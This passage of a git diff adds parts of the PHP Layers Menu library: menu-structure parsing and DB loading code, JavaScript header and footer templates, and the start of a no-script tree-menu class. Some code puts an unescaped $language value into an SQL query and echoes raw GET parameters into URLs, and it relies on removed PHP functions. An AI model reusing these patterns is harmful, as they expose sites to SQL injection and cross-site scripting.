+* The string containing the menu structure
+* @access private
+* @var string
+*/
+var $menuStructure;
+
+/**
+* It counts nodes for all menus
+* @access private
+* @var integer
+*/
+var $_nodesCount;
+/**
+* A multi-dimensional array to store informations for each menu entry
+* @access private
+* @var array
+*/
+var $tree;
+/**
+* A multi-dimensional array used only with the DB support; for each $menu_name, it stores the $cnt associated to each item id
+*
+* This array is needed for selection of the current item
+* through the corresponding id (see the DB table structure)
+* as, internally, items are stored, sorted and addressed in terms of $cnt
+*
+* @access private
+* @var array
+*/
+var $treecnt;
+/**
+* The maximum hierarchical level of menu items
+* @access private
+* @var integer
+*/
+var $_maxLevel;
+/**
+* An array that counts the number of first level items for each menu
+* @access private
+* @var array
+*/
+var $_firstLevelCnt;
+/**
+* An array containing the number identifying the first item of each menu
+* @access private
+* @var array
+*/
+var $_firstItem;
+/**
+* An array containing the number identifying the last item of each menu
+* @access private
+* @var array
+*/
+var $_lastItem;
+
+/**
+* Data Source Name: the connection string for PEAR DB
+* @access private
+* @var string
+*/
+var $dsn = 'pgsql://dbuser:dbpass@dbhost/dbname';
+/**
+* DB connections are either persistent or not persistent
+* @access private
+* @var boolean
+*/
+var $persistent = false;
+/**
+* Name of the table storing data describing the menu
+* @access private
+* @var string
+*/
+var $tableName = 'phplayersmenu';
+/**
+* Name of the i18n table corresponding to $tableName
+* @access private
+* @var string
+*/
+var $tableName_i18n = 'phplayersmenu_i18n';
+/**
+* Names of fields of the table storing data describing the menu
+*
+* default field names correspond to the same field names foreseen
+* by the menu structure format
+*
+* @access private
+* @var array
+*/
+var $tableFields = array(
+       'id'            => 'id',
+       'parent_id'     => 'parent_id',
+       'text'          => 'text',
+       'href'          => 'href',
+       'title'         => 'title',
+       'icon'          => 'icon',
+       'target'        => 'target',
+       'orderfield'    => 'orderfield',
+       'expanded'      => 'expanded'
+);
+/**
+* Names of fields of the i18n table corresponding to $tableName
+* @access private
+* @var array
+*/
+var $tableFields_i18n = array(
+       'language'      => 'language',
+       'id'            => 'id',
+       'text'          => 'text',
+       'title'         => 'title'
+);
+/**
+* A temporary array to store data retrieved from the DB and to perform the depth-first search
+* @access private
+* @var array
+*/
+var $_tmpArray = array();
+
+/**
+* The constructor method; it initializates the menu system
+* @return void
+*/
+function LayersMenuCommon()
+{
+       $this->_packageName = 'PHP Layers Menu';
+       $this->version = '3.2.0-rc';
+       $this->copyright = '(C) 2001-2004';
+       $this->author = 'Marco Pratesi - http://www.marcopratesi.it/';
+
+       $this->prependedUrl = '';
+
+       $this->dirroot = BASE;
+       $this->libjsdir = 'libjs/';
+       $this->imgdir = 'images/';
+       $this->imgwww = BASE_URL.'images/';
+       $this->icondir = 'menuicons/';
+       $this->iconwww = BASE_URL.'menuicons/';
+       $this->tpldir = 'templates/';
+       $this->menuStructure = '';
+       $this->separator = '|';
+
+       $this->_nodesCount = 0;
+       $this->tree = array();
+       $this->treecnt = array();
+       $this->_maxLevel = array();
+       $this->_firstLevelCnt = array();
+       $this->_firstItem = array();
+       $this->_lastItem = array();
+}
+
+/**
+* The method to set the prepended URL
+* @access public
+* @return boolean
+*/
+function setPrependedUrl($prependedUrl)
+{
+       // We do not perform any check
+       $this->prependedUrl = $prependedUrl;
+       return true;
+}
+
+/**
+* The method to set the dirroot directory
+* @access public
+* @return boolean
+*/
+function setDirrootCommon($dirroot)
+{
+       if (!is_dir($dirroot)) {
+               $this->error("setDirroot: $dirroot is not a directory.");
+               return false;
+       }
+       if (substr($dirroot, -1) != '/') {
+               $dirroot .= '/';
+       }
+       $oldlength = strlen($this->dirroot);
+       $foobar = strpos($this->libjsdir, $this->dirroot);
+       if (!($foobar === false || $foobar != 0)) {
+               $this->libjsdir = $dirroot . substr($this->libjsdir, $oldlength);
+       }
+       $foobar = strpos($this->imgdir, $this->dirroot);
+       if (!($foobar === false || $foobar != 0)) {
+               $this->imgdir = $dirroot . substr($this->imgdir, $oldlength);
+       }
+       $foobar = strpos($this->icondir, $this->dirroot);
+       if (!($foobar === false || $foobar != 0)) {
+               $this->icondir = $dirroot . substr($this->icondir, $oldlength);
+       }
+       $foobar = strpos($this->tpldir, $this->dirroot);
+       if (!($foobar === false || $foobar != 0)) {
+               $this->tpldir = $dirroot . substr($this->tpldir, $oldlength);
+       }
+       $this->dirroot = $dirroot;
+       return true;
+}
+
+/**
+* The method to set the libjsdir directory
+* @access public
+* @return boolean
+*/
+function setLibjsdir($libjsdir)
+{
+       if ($libjsdir != '' && substr($libjsdir, -1) != '/') {
+               $libjsdir .= '/';
+       }
+       if ($libjsdir == '' || substr($libjsdir, 0, 1) != '/') {
+               $foobar = strpos($libjsdir, $this->dirroot);
+               if ($foobar === false || $foobar != 0) {
+                       $libjsdir = $this->dirroot . $libjsdir;
+               }
+       }
+       if (!is_dir($libjsdir)) {
+               $this->error("setLibjsdir: $libjsdir is not a directory.");
+               return false;
+       }
+       $this->libjsdir = $libjsdir;
+       return true;
+}
+
+/**
+* The method to set the imgdir directory
+* @access public
+* @return boolean
+*/
+function setImgdir($imgdir)
+{
+       if ($imgdir != '' && substr($imgdir, -1) != '/') {
+               $imgdir .= '/';
+       }
+       if ($imgdir == '' || substr($imgdir, 0, 1) != '/') {
+               $foobar = strpos($imgdir, $this->dirroot);
+               if ($foobar === false || $foobar != 0) {
+                       $imgdir = $this->dirroot . $imgdir;
+               }
+       }
+       if (!is_dir($imgdir)) {
+               $this->error("setImgdir: $imgdir is not a directory.");
+               return false;
+       }
+       $this->imgdir = $imgdir;
+       return true;
+}
+
+/**
+* The method to set imgwww
+* @access public
+* @return void
+*/
+function setImgwww($imgwww)
+{
+       if ($imgwww != '' && substr($imgwww, -1) != '/') {
+               $imgwww .= '/';
+       }
+       $this->imgwww = $imgwww;
+}
+
+/**
+* The method to set the icondir directory
+* @access public
+* @return boolean
+*/
+function setIcondir($icondir)
+{
+       if ($icondir != '' && substr($icondir, -1) != '/') {
+               $icondir .= '/';
+       }
+       if ($icondir == '' || substr($icondir, 0, 1) != '/') {
+               $foobar = strpos($icondir, $this->dirroot);
+               if ($foobar === false || $foobar != 0) {
+                       $icondir = $this->dirroot . $icondir;
+               }
+       }
+       if (!is_dir($icondir)) {
+               $this->error("setIcondir: $icondir is not a directory.");
+               return false;
+       }
+       $this->icondir = $icondir;
+       return true;
+}
+
+/**
+* The method to set iconwww
+* @access public
+* @return void
+*/
+function setIconwww($iconwww)
+{
+       if ($iconwww != '' && substr($iconwww, -1) != '/') {
+               $iconwww .= '/';
+       }
+       $this->iconwww = $iconwww;
+}
+
+/**
+* The method to set the iconsize array
+* @access public
+* @return void
+*/
+function setIconsize($width, $height)
+{
+       $this->iconsize['width'] = ($width == (int) $width) ? $width : 0;
+       $this->iconsize['height'] = ($height == (int) $height) ? $height : 0;
+       $this->issetIconsize = true;
+}
+
+/**
+* The method to unset the iconsize array
+* @access public
+* @return void
+*/
+function unsetIconsize()
+{
+       unset($this->iconsize['width']);
+       unset($this->iconsize['height']);
+       $this->issetIconsize = false;
+}
+
+/**
+* The method to set the tpldir directory
+* @access public
+* @return boolean
+*/
+function setTpldirCommon($tpldir)
+{
+       if ($tpldir != '' && substr($tpldir, -1) != '/') {
+               $tpldir .= '/';
+       }
+       if ($tpldir == '' || substr($tpldir, 0, 1) != '/') {
+               $foobar = strpos($tpldir, $this->dirroot);
+               if ($foobar === false || $foobar != 0) {
+                       $tpldir = $this->dirroot . $tpldir;
+               }
+       }
+       if (!is_dir($tpldir)) {
+               $this->error("setTpldir: $tpldir is not a directory.");
+               return false;
+       }
+       $this->tpldir = $tpldir;
+       return true;
+}
+
+/**
+* The method to read the menu structure from a file
+* @access public
+* @param string $tree_file the menu structure file
+* @return boolean
+*/
+function setMenuStructureFile($tree_file)
+{
+       if (!($fd = fopen($tree_file, 'r'))) {
+               $this->error("setMenuStructureFile: unable to open file $tree_file.");
+               return false;
+       }
+       $this->menuStructure = '';
+       while ($buffer = fgets($fd, 4096)) {
+               $buffer = ereg_replace(chr(13), '', $buffer);   // Microsoft Stupidity Suppression
+               $this->menuStructure .= $buffer;
+       }
+       fclose($fd);
+       if ($this->menuStructure == '') {
+               $this->error("setMenuStructureFile: $tree_file is empty.");
+               return false;
+       }
+       return true;
+}
+
+/**
+* The method to set the menu structure passing it through a string
+* @access public
+* @param string $tree_string the menu structure string
+* @return boolean
+*/
+function setMenuStructureString($tree_string)
+{
+       $this->menuStructure = ereg_replace(chr(13), '', $tree_string); // Microsoft Stupidity Suppression
+       if ($this->menuStructure == '') {
+               $this->error('setMenuStructureString: empty string.');
+               return false;
+       }
+       return true;
+}
+
+/**
+* The method to set the value of separator
+* @access public
+* @return void
+*/
+function setSeparator($separator)
+{
+       $this->separator = $separator;
+}
+
+/**
+* The method to set parameters for the DB connection
+* @access public
+* @param string $dns Data Source Name: the connection string for PEAR DB
+* @param bool $persistent DB connections are either persistent or not persistent
+* @return boolean
+*/
+function setDBConnParms($dsn, $persistent=false)
+{
+       if (!is_string($dsn)) {
+               $this->error('initdb: $dsn is not an string.');
+               return false;
+       }
+       if (!is_bool($persistent)) {
+               $this->error('initdb: $persistent is not a boolean.');
+               return false;
+       }
+       $this->dsn = $dsn;
+       $this->persistent = $persistent;
+       return true;
+}
+
+/**
+* The method to set the name of the table storing data describing the menu
+* @access public
+* @param string
+* @return boolean
+*/
+function setTableName($tableName)
+{
+       if (!is_string($tableName)) {
+               $this->error('setTableName: $tableName is not a string.');
+               return false;
+       }
+       $this->tableName = $tableName;
+       return true;
+}
+
+/**
+* The method to set the name of the i18n table corresponding to $tableName
+* @access public
+* @param string
+* @return boolean
+*/
+function setTableName_i18n($tableName_i18n)
+{
+       if (!is_string($tableName_i18n)) {
+               $this->error('setTableName_i18n: $tableName_i18n is not a string.');
+               return false;
+       }
+       $this->tableName_i18n = $tableName_i18n;
+       return true;
+}
+
+/**
+* The method to set names of fields of the table storing data describing the menu
+* @access public
+* @param array
+* @return boolean
+*/
+function setTableFields($tableFields)
+{
+       if (!is_array($tableFields)) {
+               $this->error('setTableFields: $tableFields is not an array.');
+               return false;
+       }
+       if (count($tableFields) == 0) {
+               $this->error('setTableFields: $tableFields is a zero-length array.');
+               return false;
+       }
+       reset ($tableFields);
+       while (list($key, $value) = each($tableFields)) {
+               $this->tableFields[$key] = ($value == '') ? "''" : $value;
+       }
+       return true;
+}
+
+/**
+* The method to set names of fields of the i18n table corresponding to $tableName
+* @access public
+* @param array
+* @return boolean
+*/
+function setTableFields_i18n($tableFields_i18n)
+{
+       if (!is_array($tableFields_i18n)) {
+               $this->error('setTableFields_i18n: $tableFields_i18n is not an array.');
+               return false;
+       }
+       if (count($tableFields_i18n) == 0) {
+               $this->error('setTableFields_i18n: $tableFields_i18n is a zero-length array.');
+               return false;
+       }
+       reset ($tableFields_i18n);
+       while (list($key, $value) = each($tableFields_i18n)) {
+               $this->tableFields_i18n[$key] = ($value == '') ? "''" : $value;
+       }
+       return true;
+}
+
+/**
+* The method to parse the current menu structure and correspondingly update related variables
+* @access public
+* @param string $menu_name the name to be attributed to the menu
+*   whose structure has to be parsed
+* @return void
+*/
+function parseStructureForMenu(
+       $menu_name = '' // non consistent default...
+       )
+{
+       $this->_maxLevel[$menu_name] = 0;
+       $this->_firstLevelCnt[$menu_name] = 0;
+       $this->_firstItem[$menu_name] = $this->_nodesCount + 1;
+       $cnt = $this->_firstItem[$menu_name];
+       $menuStructure = $this->menuStructure;
+
+       /* *********************************************** */
+       /* Partially based on a piece of code taken from   */
+       /* TreeMenu 1.1 - Bjorge Dijkstra (bjorge@gmx.net) */
+       /* *********************************************** */
+
+       while ($menuStructure != '') {
+               $before_cr = strcspn($menuStructure, "\n");
+               $buffer = substr($menuStructure, 0, $before_cr);
+               $menuStructure = substr($menuStructure, $before_cr+1);
+               if (substr($buffer, 0, 1) == '#') {
+                       continue;       // commented item line...
+               }
+               $tmp = rtrim($buffer);
+               $node = explode($this->separator, $tmp);
+               for ($i=count($node); $i<=6; $i++) {
+                       $node[$i] = '';
+               }
+               $this->tree[$cnt]['level'] = strlen($node[0]);
+               $this->tree[$cnt]['text'] = $node[1];
+               $this->tree[$cnt]['href'] = $node[2];
+               $this->tree[$cnt]['title'] = $node[3];
+               $this->tree[$cnt]['icon'] = $node[4];
+               $this->tree[$cnt]['target'] = $node[5];
+               $this->tree[$cnt]['expanded'] = $node[6];
+               $cnt++;
+       }
+
+       /* *********************************************** */
+
+       $this->_lastItem[$menu_name] = count($this->tree);
+       $this->_nodesCount = $this->_lastItem[$menu_name];
+       $this->tree[$this->_lastItem[$menu_name]+1]['level'] = 0;
+       $this->_postParse($menu_name);
+}
+
+/**
+* The method to parse the current menu table and correspondingly update related variables
+* @access public
+* @param string $menu_name the name to be attributed to the menu
+*   whose structure has to be parsed
+* @param string $language i18n language; either omit it or pass
+*   an empty string ('') if you do not want to use any i18n table
+* @return void
+*/
+function scanTableForMenu(
+       $menu_name = '', // non consistent default...
+       $language = ''
+       )
+{
+       $this->_maxLevel[$menu_name] = 0;
+       $this->_firstLevelCnt[$menu_name] = 0;
+       unset($this->tree[$this->_nodesCount+1]);
+       $this->_firstItem[$menu_name] = $this->_nodesCount + 1;
+/* BEGIN BENCHMARK CODE
+$time_start = $this->_getmicrotime();
+/* END BENCHMARK CODE */
+       $db = DB::connect($this->dsn, $this->persistent);
+       if (DB::isError($db)) {
+               $this->error('scanTableForMenu: ' . $db->getMessage());
+       }
+       $dbresult = $db->query('
+               SELECT ' .
+                       $this->tableFields['id'] . ' AS id, ' .
+                       $this->tableFields['parent_id'] . ' AS parent_id, ' .
+                       $this->tableFields['text'] . ' AS text, ' .
+                       $this->tableFields['href'] . ' AS href, ' .
+                       $this->tableFields['title'] . ' AS title, ' .
+                       $this->tableFields['icon'] . ' AS icon, ' .
+                       $this->tableFields['target'] . ' AS target, ' .
+                       $this->tableFields['expanded'] . ' AS expanded
+               FROM ' . $this->tableName . '
+               WHERE ' . $this->tableFields['id'] . ' <> 1
+               ORDER BY ' . $this->tableFields['orderfield'] . ', ' . $this->tableFields['text'] . ' ASC
+       ');
+       $this->_tmpArray = array();
+       while ($dbresult->fetchInto($row, DB_FETCHMODE_ASSOC)) {
+               $this->_tmpArray[$row['id']]['parent_id'] = $row['parent_id'];
+               $this->_tmpArray[$row['id']]['text'] = $row['text'];
+               $this->_tmpArray[$row['id']]['href'] = $row['href'];
+               $this->_tmpArray[$row['id']]['title'] = $row['title'];
+               $this->_tmpArray[$row['id']]['icon'] = $row['icon'];
+               $this->_tmpArray[$row['id']]['target'] = $row['target'];
+               $this->_tmpArray[$row['id']]['expanded'] = $row['expanded'];
+       }
+       if ($language != '') {
+               $dbresult = $db->query('
+                       SELECT ' .
+                               $this->tableFields_i18n['id'] . ' AS id, ' .
+                               $this->tableFields_i18n['text'] . ' AS text, ' .
+                               $this->tableFields_i18n['title'] . ' AS title
+                       FROM ' . $this->tableName_i18n . '
+                       WHERE ' . $this->tableFields_i18n['id'] . ' <> 1
+                               AND ' . $this->tableFields_i18n['language'] . ' = ' . "'$language'" . '
+               ');
+               while ($dbresult->fetchInto($row, DB_FETCHMODE_ASSOC)) {
+                       if (isset($this->_tmpArray[$row['id']])) {
+                               $this->_tmpArray[$row['id']]['text'] = $row['text'];
+                               $this->_tmpArray[$row['id']]['title'] = $row['title'];
+                       }
+               }
+       }
+       unset($dbresult);
+       unset($row);
+       $this->_depthFirstSearch($menu_name, $this->_tmpArray, 1, 1);
+/* BEGIN BENCHMARK CODE
+$time_end = $this->_getmicrotime();
+$time = $time_end - $time_start;
+print "TIME ELAPSED = $time\n<br>";
+/* END BENCHMARK CODE */
+       $this->_lastItem[$menu_name] = count($this->tree);
+       $this->_nodesCount = $this->_lastItem[$menu_name];
+       $this->tree[$this->_lastItem[$menu_name]+1]['level'] = 0;
+       $this->_postParse($menu_name);
+}
+
+function _getmicrotime()
+{
+       list($usec, $sec) = explode(' ', microtime());
+       return ((float) $usec + (float) $sec);
+}
+
+/**
+* Recursive method to perform the depth-first search of the tree data taken from the current menu table
+* @access private
+* @param string $menu_name the name to be attributed to the menu
+*   whose structure has to be parsed
+* @param array $tmpArray the temporary array that stores data to perform
+*   the depth-first search
+* @param integer $parent_id id of the item whose children have
+*   to be searched for
+* @param integer $level the hierarchical level of children to be searched for
+* @return void
+*/
+function _depthFirstSearch($menu_name, $tmpArray, $parent_id=1, $level=1)
+{
+       reset ($tmpArray);
+       while (list($id, $foobar) = each($tmpArray)) {
+               if ($foobar['parent_id'] == $parent_id) {
+                       unset($tmpArray[$id]);
+                       unset($this->_tmpArray[$id]);
+                       $cnt = count($this->tree) + 1;
+                       $this->tree[$cnt]['level'] = $level;
+                       $this->tree[$cnt]['text'] = $foobar['text'];
+                       $this->tree[$cnt]['href'] = $foobar['href'];
+                       $this->tree[$cnt]['title'] = $foobar['title'];
+                       $this->tree[$cnt]['icon'] = $foobar['icon'];
+                       $this->tree[$cnt]['target'] = $foobar['target'];
+                       $this->tree[$cnt]['expanded'] = $foobar['expanded'];
+                       $this->treecnt[$menu_name][$id] = $cnt;
+                       unset($foobar);
+                       if ($id != $parent_id) {
+                               $this->_depthFirstSearch($menu_name, $this->_tmpArray, $id, $level+1);
+                       }
+               }
+       }
+}
+
+/**
+* A method providing parsing needed after both file/string parsing and DB table parsing
+* @access private
+* @param string $menu_name the name of the menu for which the parsing
+*   has to be performed
+* @return void
+*/
+function _postParse(
+       $menu_name = '' // non consistent default...
+       )
+{
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {  // this counter scans all nodes of the new menu
+               $this->tree[$cnt]['child_of_root_node'] = ($this->tree[$cnt]['level'] == 1);
+               $this->tree[$cnt]['parsed_text'] = stripslashes($this->tree[$cnt]['text']);
+               $this->tree[$cnt]['parsed_href'] = (ereg_replace(' ', '', $this->tree[$cnt]['href']) == '') ? '#' : $this->prependedUrl . $this->tree[$cnt]['href'];
+               $this->tree[$cnt]['parsed_title'] = ($this->tree[$cnt]['title'] == '') ? '' : ' title="' . stripslashes($this->tree[$cnt]['title']) . '"';
+               $fooimg = $this->icondir . $this->tree[$cnt]['icon'];
+               if ($this->tree[$cnt]['icon'] != '' && (substr($this->tree[$cnt]['icon'], 0, 7) == 'http://' || substr($this->tree[$cnt]['icon'], 0, 8) == 'https://')) {
+                       $this->tree[$cnt]['parsed_icon'] = $this->tree[$cnt]['icon'];
+                       if ($this->issetIconsize) {
+                               $this->tree[$cnt]['iconwidth'] = $this->iconsize['width'];
+                               $this->tree[$cnt]['iconheight'] = $this->iconsize['height'];
+                       } else {
+                               $foobar = getimagesize($this->tree[$cnt]['icon']);
+                               $this->tree[$cnt]['iconwidth'] = $foobar[0];
+                               $this->tree[$cnt]['iconheight'] = $foobar[1];
+                       }
+               } elseif ($this->tree[$cnt]['icon'] != '' && file_exists($fooimg)) {
+                       $this->tree[$cnt]['parsed_icon'] = $this->iconwww . $this->tree[$cnt]['icon'];
+                       if ($this->issetIconsize) {
+                               $this->tree[$cnt]['iconwidth'] = $this->iconsize['width'];
+                               $this->tree[$cnt]['iconheight'] = $this->iconsize['height'];
+                       } else {
+                               $foobar = getimagesize($fooimg);
+                               $this->tree[$cnt]['iconwidth'] = $foobar[0];
+                               $this->tree[$cnt]['iconheight'] = $foobar[1];
+                       }
+               } else {
+                       $this->tree[$cnt]['parsed_icon'] = '';
+               }
+               $this->tree[$cnt]['parsed_target'] = ($this->tree[$cnt]['target'] == '') ? '' : ' target="' . $this->tree[$cnt]['target'] . '"';
+//             $this->tree[$cnt]['expanded'] = ($this->tree[$cnt]['expanded'] == '') ? 0 : $this->tree[$cnt]['expanded'];
+               $this->_maxLevel[$menu_name] = max($this->_maxLevel[$menu_name], $this->tree[$cnt]['level']);
+               if ($this->tree[$cnt]['level'] == 1) {
+                       $this->_firstLevelCnt[$menu_name]++;
+               }
+       }
+}
+
+/**
+* A method to replace strings in all URLs (hrefs) of a menu
+* @access public
+* @param string $menu_name the name of the menu for which the replacement
+*   has to be performed
+* @param string $string the string to be replaced
+* @param string $value the replacement string
+* @return void
+*/
+function replaceStringInUrls($menu_name, $string, $value)
+{
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {  // this counter scans all nodes of the new menu
+               $this->tree[$cnt]['parsed_href'] = str_replace($string, $value, $this->tree[$cnt]['parsed_href']);
+       }
+}
+
+/**
+* A method to set the same target for all links of a menu
+* @access public
+* @param string $menu_name the name of the menu for which the targets
+*   have to be set
+* @param string $target the target to be set for all links
+*   of the $menu_name menu
+* @return void
+*/
+function setLinksTargets($menu_name, $target)
+{
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {  // this counter scans all nodes of the new menu
+               $this->tree[$cnt]['parsed_target'] = ' target="' . $target . '"';
+       }
+}
+
+/**
+* A method to select the current item of $menu_name in terms of $cnt, i.e., very likely, in terms of its line number in the corresponding menu structure file (excluding from the count commented out lines, if any)
+* @access public
+* @param string $menu_name the name of the menu for which the current item
+*   has to be selected
+* @param integer $count the line number of the current item
+*   in the corresponding menu structure file
+*   (excluding from the count commented out lines, if any)
+* @return void
+*/
+function setSelectedItemByCount($menu_name, $count)
+{
+       if ($count < 1) {
+               $this->error("setSelectedItemByCount: the \$count argument is $count, but \$count can not be lower than 1");
+               return;
+       }
+       if ($count > $this->_lastItem[$menu_name] - $this->_firstItem[$menu_name] + 1) {
+               $this->error("setSelectedItemByCount: the \$count argument is $count and is larger than the number of items of the '$menu_name' menu");
+               return;
+       }
+       $cnt = $this->_firstItem[$menu_name] + $count - 1;
+       $this->tree[$cnt]['selected'] = true;
+}
+
+/**
+* A method to select the current item of $menu_name in terms of the corresponding id (see the DB table structure); obviously, this method can be used only together with the DB support
+* @access public
+* @param string $menu_name the name of the menu for which the current item
+*   has to be selected
+* @param integer $id the id of the current item in the corresponding DB table
+* @return void
+*/
+function setSelectedItemById($menu_name, $id)
+{
+       if (!isset($this->treecnt[$menu_name][$id])) {
+               $this->error("setSelectedItemById: there is not any item with \$id = $id in the '$menu_name' menu");
+               return;
+       }
+       $cnt = $this->treecnt[$menu_name][$id];
+       $this->tree[$cnt]['selected'] = true;
+}
+
+/**
+* A method to select the current item of $menu_name specifying a string that occurs in the current URL
+* @access public
+* @param string $menu_name the name of the menu for which the current item
+*   has to be selected
+* @param string $url a string that occurs in the current URL
+* @return void
+*/
+function setSelectedItemByUrl($menu_name, $url)
+{
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {  // this counter scans all nodes of the new menu
+               if (!(strpos($this->tree[$cnt]['parsed_href'], $url) === false)) {
+                       $this->tree[$cnt]['selected'] = true;
+                       break;
+               }
+       }
+}
+
+/**
+* A method to select the current item of $menu_name specifying a regular expression that matches (a substring of) the current URL; just the same as the setSelectedItemByUrl() method, but using eregi() instead of strpos()
+* @access public
+* @param string $menu_name the name of the menu for which the current item
+*   has to be selected
+* @param string $url_eregi the regular expression that matches
+*   (a substring of) the current URL
+* @return void
+*/
+function setSelectedItemByUrlEregi($menu_name, $url_eregi)
+{
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {  // this counter scans all nodes of the new menu
+               if (eregi($url_eregi, $this->tree[$cnt]['parsed_href'])) {
+                       $this->tree[$cnt]['selected'] = true;
+                       break;
+               }
+       }
+}
+
+/**
+* Method to handle errors
+* @access private
+* @param string $errormsg the error message
+* @return void
+*/
+function error($errormsg)
+{
+       print "<b>LayersMenu Error:</b> $errormsg<br />\n";
+       if ($this->haltOnError == 'yes') {
+               die("<b>Halted.</b><br />\n");
+       }
+}
+
+} /* END OF CLASS */
+
+?>
diff --git a/lib/layersmenu-footer.ijs b/lib/layersmenu-footer.ijs
new file mode 100755 (executable)
index 0000000..93e3323
--- /dev/null
@@ -0,0 +1,11 @@
+<!-- {package_name} {version} {copyright} {author} -->
+
+{footer}
+
+<script language="JavaScript" type="text/javascript">
+<!--
+loaded = 1;
+// -->
+</script>
+
+<!-- {package_name} {version} {copyright} {author} -->
diff --git a/lib/layersmenu-header.ijs b/lib/layersmenu-header.ijs
new file mode 100755 (executable)
index 0000000..403336d
--- /dev/null
@@ -0,0 +1,48 @@
+<!-- {package_name} {version} {copyright} {author} -->
+
+<script language="JavaScript" type="text/javascript">
+<!--
+{browser_detection}
+// -->
+</script>
+
+<script language="JavaScript" type="text/javascript" src="{libwww}layersmenu.js"></script>
+
+<script language="JavaScript" type="text/javascript">
+<!--
+
+var thresholdY = {thresholdY};
+var abscissa_step = {abscissa_step};
+
+listl = new Array();
+{listl}
+var numl = {numl};
+
+father = new Array();
+for (i=1; i<={nodes_count}; i++) {
+       father["L" + i] = "";
+}
+{father}
+
+lwidth = new Array();
+var lwidthdetected = 0;
+
+function moveLayers() {
+       if (!lwidthdetected) {
+               for (i=1; i<=numl; i++) {
+                       lwidth[listl[i]] = getoffsetwidth(listl[i]);
+               }
+               lwidthdetected = 1;
+       }
+{moveLayers}
+}
+
+back = new Array();
+for (i=1; i<={nodes_count}; i++) {
+       back["L" + i] = 0;
+}
+
+// -->
+</script>
+
+<!-- {package_name} {version} {copyright} {author} -->
diff --git a/lib/layersmenu-noscript.inc.php b/lib/layersmenu-noscript.inc.php
new file mode 100755 (executable)
index 0000000..ea85dad
--- /dev/null
@@ -0,0 +1,546 @@
+<?php
+// PHP Layers Menu 2.3.3 (C) 2001-2003 Marco Pratesi (marco at telug dot it)
+
+/**
+* This is an extension of the base class of the PHP Layers Menu system.
+*
+* It provides other menu types, that to do not require JavaScript to work.
+*
+* @version 2.3.3
+* @package PHPLayersMenu
+*/
+class XLayersMenu extends LayersMenu {
+
+/**
+* The default value of the expansion string for the PHP Tree Menu
+* @access private
+* @var string
+*/
+var $phpTreeMenuDefaultExpansion;
+/**
+* An array where we store the PHP Tree Menu code for each menu
+* @access private
+* @var array
+*/
+var $_phpTreeMenu;
+
+/**
+* The character used for the Plain Menu in the menu structure format to separate fields of each item
+* @access private
+* @var string
+*/
+var $plainMenuSeparator;
+/**
+* The template to be used for the Plain Menu
+*/
+var $plainMenuTpl;
+/**
+* An array where we store the Plain Menu code for each menu
+* @access private
+* @var array
+*/
+var $_plainMenu;
+
+/**
+* The character used for the Horizontal Plain Menu in the menu structure format to separate fields of each item
+* @access private
+* @var string
+*/
+var $horizontalPlainMenuSeparator;
+/**
+* The template to be used for the Horizontal Plain Menu
+*/
+var $horizontalPlainMenuTpl;
+/**
+* An array where we store the Horizontal Plain Menu code for each menu
+* @access private
+* @var array
+*/
+var $_horizontalPlainMenu;
+
+/**
+* The constructor method; it initializates some variables
+* @return void
+*/
+function XLayersMenu() {
+       $this->LayersMenu();
+       $this->phpTreeMenuDefaultExpansion = "";
+       $this->_phpTreeMenu = array();
+
+       $this->plainMenuTpl = $this->dirroot . $this->tpldir . "layersmenu-plain_menu.ihtml";
+       $this->plainMenuSeparator = "|";
+       $this->_plainMenu = array();
+
+       $this->horizontalPlainMenuTpl = $this->dirroot . $this->tpldir . "layersmenu-horizontal_plain_menu.ihtml";
+       $this->horizontalPlainMenuSeparator = "|";
+       $this->_horizontalPlainMenu = array();
+}
+
+/**
+* The method to set the default value of the expansion string for the PHP Tree Menu
+* @access public
+* @return void
+*/
+function setPHPTreeMenuDefaultExpansion($phpTreeMenuDefaultExpansion) {
+       $this->phpTreeMenuDefaultExpansion = $phpTreeMenuDefaultExpansion;
+}
+
+/**
+* Method to prepare a new PHP Tree Menu.
+*
+* This method processes items of a menu and parameters submitted
+* through GET (i.e. nodes to be expanded) to prepare and return
+* the corresponding Tree Menu code.
+*
+* @access public
+* @param string $menu_name the name of the menu whose items have to be processed
+* @return string
+*/
+function newPHPTreeMenu(
+       $menu_name = "" // non consistent default...
+       ) {
+       $protocol = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on") ? "https://" : "http://";
+       $this_host = (isset($_SERVER["HTTP_HOST"])) ? $_SERVER["HTTP_HOST"] : $_SERVER["SERVER_NAME"];
+       if (isset($_SERVER["SCRIPT_NAME"])) {
+               $me = $_SERVER["SCRIPT_NAME"];
+       } else if (isset($_SERVER["REQUEST_URI"])) {
+               $me = $_SERVER["REQUEST_URI"];
+       } else if (isset($_SERVER["PHP_SELF"])) {
+               $me = $_SERVER["PHP_SELF"];
+       } else if (isset($_SERVER["PATH_INFO"])) {
+               $me = $_SERVER["PATH_INFO"];
+       }
+       $url = $protocol . $this_host . $me;
+       $query = "";
+       reset($_GET);
+       while (list($key, $value) = each($_GET)) {
+               if ($key != "p" && $value != "") {
+                       $query .= "&amp;" . $key . "=" . $value;
+               }
+       }
+       if ($query != "") {
+               $query = "?" . substr($query, 5) . "&amp;p=";
+       } else {
+               $query = "?p=";
+       }
+       $p = (isset($_GET["p"])) ? $_GET["p"] : $this->phpTreeMenuDefaultExpansion;
+
+/* ********************************************************* */
+/* Based on TreeMenu 1.1 by Bjorge Dijkstra (bjorge@gmx.net) */
+/* ********************************************************* */
+       $this->_phpTreeMenu[$menu_name] = "";
+
+       $img_space              = $this->imgwww . "tree_space." . $this->treeMenuImagesType;
+       $alt_space              = "  ";
+       $img_vertline           = $this->imgwww . "tree_vertline." . $this->treeMenuImagesType;
+       $alt_vertline           = "| ";
+       $img_expand             = $this->imgwww . "tree_expand." . $this->treeMenuImagesType;
+       $alt_expand             = "+-";
+       $img_expand_corner      = $this->imgwww . "tree_expand_corner." . $this->treeMenuImagesType;
+       $alt_expand_corner      = "+-";
+       $img_collapse           = $this->imgwww . "tree_collapse." . $this->treeMenuImagesType;
+       $alt_collapse           = "--";
